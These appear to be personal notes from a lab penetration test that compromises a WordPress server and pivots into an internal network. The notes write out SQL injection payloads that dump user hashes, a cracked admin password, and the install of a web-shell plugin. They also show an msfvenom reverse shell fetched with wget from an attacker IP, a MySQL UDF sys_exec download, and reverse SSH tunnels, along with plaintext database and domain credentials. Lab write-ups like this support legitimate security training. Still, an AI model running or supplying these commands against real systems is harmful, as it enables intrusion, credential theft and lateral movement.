Penetration Example
Add host name (Optional)
Enumeration
nmap scan
1 | └─$ sudo nmap -sC -sS -p0-65535 sandbox.local |
autorecon: autorecon -t target.txt
targeting the web application
nmap scan indicate the webpage generated by wordpress5.3, looking for themes and plugins, may become our target.
Perform a basic directory brute force to discover any sensitive files and confirm it is actually wordpress.
autorecon results are stored in “resutls/scan/tcp_80_http_feroxbuster.txt”, autorecon uses feroxbuster
Some common wordpress directory in the target:
1 | 301 9l 28w 317c http://sandbox.local/wp-admin |
the tutorial uses dirb:
1 | dirb http://sandbox.local |
dirb seems did some recursive search under each directory
use wp scan for wordpress vul scan:
1 | wpscan --url sandbox.local --enumerate ap,at,cb,dbe -o wpscan.txt -f cli-no-color |
(–enumerate) to include “All Plugins” (ap), “All Themes” (at), “Config backups” (cb), and “Db exports” (dbe).
Found some plugins
1 | elementor |
Use searchsploit to search for vulns, first search their name, but nonthing found
search for survey and poll
1 | searchsploit wordpress survey poll |
wpscan indicate the plugin version could be 1.5.7.3
look at its description:
1 | less /usr/share/exploitdb/exploits/php/webapps/45411.txt |
Use burpsuite to intercept the communication
SQL injection through cookie
Use burpsuite repeater,
proxy->http_history->find the request->send to repeater
replace the cookie with:
1 | ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"] |
and send to the server,
find db version: 10.3.20-MariaDB
get a list of table:
1 | ["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11 FROM information_schema.tables#"] |
find an interesting table: wp_users
find its coloums:
1 | ["16232480')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11 FROM information_schema.columns where table_name='wp_users'#"]; |
1 | [\"ID\"],[\"user_login\"],[\"user_pass\"],[\"user_nicename\"],[\"user_email\"],[\"user_url\"],[\"user_registered\"],[\"user_activation_key\"],[\"user_status\"],[\"display_name\"]]} |
get login name:
1 | ["16232480')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11 FROM wp_users#"]; |
wp_ajla_admin
get password:
1 | ["16232480')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11 FROM wp_users where user_login='wp_ajla_admin'#"]; |
the result is hash:
1 | [\"$P$BfBIi66MsPQgzmvYsUzwjc5vSx9L6i\\\/\"] |
it uses three \\\
to escape a single /
cracking the password from hash, use the rockyou wordlist:
1 | echo '$P$BfBIi66MsPQgzmvYsUzwjc5vSx9L6i/' > pass.txt |
Login the wp page with password: wp_ajla_admin
/!love29jan2006!
http://sandbox.local/wp-admin
Enumerating the admin interface
For wordpress, look at the info tag: tool->site_health->info
1 | Server: |
Database in running on 10.5.5.11
, different from what we are targeting. 10.11.1.250
we can install our own plugins, there are some malicious wordpress plugins
in seclis
: cd /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php
upload plugin and get error:
1 | The package could not be installed. PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature |
Search online, and find that I need to pack the php file to zip
1 | zip bad_plugin.zip /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php |
then upload
fatal error when try to activate:
1 | Plugin could not be activated because it triggered a fatal error. |
it dont need to be activate
test:
1 | http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=id |
ok, it works, then we tries to generate a reverse shell
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.119.165 LPORT=443 -f elf > shell.elf |
we know the target is a linux machine, we use LPORT=443 to evade any outbound firewall rules
then upload the shell to that machine, create a python sever at current directory
1 | sudo python3 -m http.server 80 |
download the shell binary
1 | curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=wget%20http://192.168.119.165/shell.elf |
use %20
to replace space in url
start a listening port
1 | kali@kali:~$ sudo msfconsole -q -x "use exploit/multi/handler;\ |
execute the reverse shell, first check the permission
1 | curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=ls%20-l%20shell.elf |
run
1 | curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=./shell.elf |
in meterpreter, can goto regular shell use shell
Post-Exploitation Enumeration
gather some information such as network config, hostname, os version and kernel info
1 | ifconfig |
find database credentials in the configuration file: wp-config.php
1 | pwd |
Creating a stable pivot point
when then try to login to the internal network, e.g. the database server 10.5.5.11
since we do not have root access to create ssh server, we should use reverse ssh tunneling
first we need to know which port is running the database server
create a quick portscan script
1 | #!/bin/bash |
upload the script use meterpreter:
1 | upload ~/script/portscan.sh /tmp/portscan.sh |
default mariadb port is also 3306
1 | ssh -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 kali@192.168.119.165 |
but it will prompt us for 1. accept hostkey, 2. password
1 | ssh -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" kali@192.168.119.165 |
UserKnownHostsFile
do not save host keysStrictHostKeyChecking
do not prompt
to avoid the prompt for password, we generate ssh key on target machine
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBK2RDq8McGN6Av2gpVYvS6nwi6r10XFYVQsQAxQLDwaprw4pJObKgcpgXkgj48cSLCJ8473Jv3y8FUpqgN8sX3EJseG43ni45kP/i3yQJ7sTmbG6/ZsIdxZM4dC9oK9JbHTnko/8d24lJMxAGwvskjFpCRjcBu1OVUmRziWFTG5v6zVaebvFt2DlP3XaDPZysZg4+Xh5iS+/T73aarEJbLz5EEz7Nnq06bHvMOn/hQqqiIZ6jgHVzSMu7eolt1hh7+CsCjaNctURir4JRCAMjEWmpQ+xy39b6PmqDLbJfKon68Xv685fB6d+O2vJr/lO8KaKEnhEUwRw5GwN45hRT www-data@ajla |
in kali’s authorized_keys
1 | from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa |
in shell:
1 | ssh -f -N -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id_rsa kali@192.168.119.165 |
-f
run in background
Targeting the database
1 | mysql --host=127.0.0.1 --port=13306 --user=wp -p |
look at what privilege we have:
1 | SHOW Grants; |
1 | MariaDB [(none)]> select @@hostname, @@tmpdir, @@version, @@version_compile_machine, @@plugin_dir; |
1 | searchsploit maria |
non of the exploit work for current version of maria
search for more generic mysql
exploit, since maria is built on mysql
1 | searchsploit mysql |
UDF user-defined function show up often???? how did you get here?
find an interesting github repo:
1 | git clone https://github.com/mysqludf/lib_mysqludf_sys.git |
to compile, install some packages:
1 | sudo apt update && sudo apt install default-libmysqlclient-dev libmariadbd-dev |
modify make file, to make it include maria’s header file. hmmmm..
output so to shellcode:
1 | xxd -p lib_mysqludf_sys.so | tr -d '\n' > lib_mysqludf_sys.so.hex |
tr -d delete;
xxd dump to hex
1 | mariadb> set @shell=0x7abf.....; |
We get error since wp does not have permission to write file
go back to ajla to see if we can find root credentials
Deeper Enumeration of the Web Application Server
1 | searchsploit ubuntu 16.04 |
find a good local privelege escalation script
compile locally and upload to ajla, we get the root
then we add our ssh pubkey to root
then we can ssh root@sandbox.local
to the ajla
search for DB credentials
inspect .bash_history
, find:mysql -u root -pBmDu9xUHKe3fZi3Z7RdMBeb -h 10.5.5.11 -e 'DROP DATABASE wordpress;'
Targeting the database again
1 | mysql --host=127.0.0.1 --port=13306 --user=root -pBmDu9xUHKe3fZi3Z7RdMBeb |
test to see if we can make network call from zora to kali
1 | kali> sudo python3 -m http.server 80 |
let zora grab our shell.elf
1 | select sys_exec('wget http://192.168.119.165/shell.elf'); |
make sure metasploit is ready for the connection
1 | exit # exit root shell |
get the shell of mysql user
1 | cat /etc/issue # get linux version |
The contents of /etc/fstab are interesting. A share is mounted from the 10.5.5.20 host. Let’s poke
around the scripts share and see what we find.
1 | cd /mnt/scripts |
Create a stable reverse tunnel
1 | ssh-keygen |
Dynamic port forwarding
1 | ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /var/lib/mysql/.ssh/id_rsa kali@192.168.119.165 |
add to /etc/proxychains4.conf
1 | socks4 127.0.0.1 1080 |
Targeting Poultry
1 | proxychains nmap --top-ports=20 -sT -Pn 10.5.5.20 |
-sT TCP connect
-Pn no ping
port 3389
ms-wbt-server
is the rdp server
login with the credential we have
1 | proxychains xfreerdp /d:sandbox /u:alex /v:10.5.5.20 +clipboard |
/d: domain
/u: user
/v: server host
let me try rdesktop first
1 | proxychains rdesktop 10.5.5.20 -d sandbox -u alex -p 'Ndawc*nRoqkC+haZ' -g 1024x768 -r clipboard:PRIMARYCLIPBOARD |
1 | C:\Users\alex>systeminfo |
nothing interesting for the opening port, Ports 49152 and above
are the Windows default dynamic/ephemeral ports for establishing TCP connections and we
don’t need to worry about them
check if alex is in admin group
1 |
|
it is a regular domain user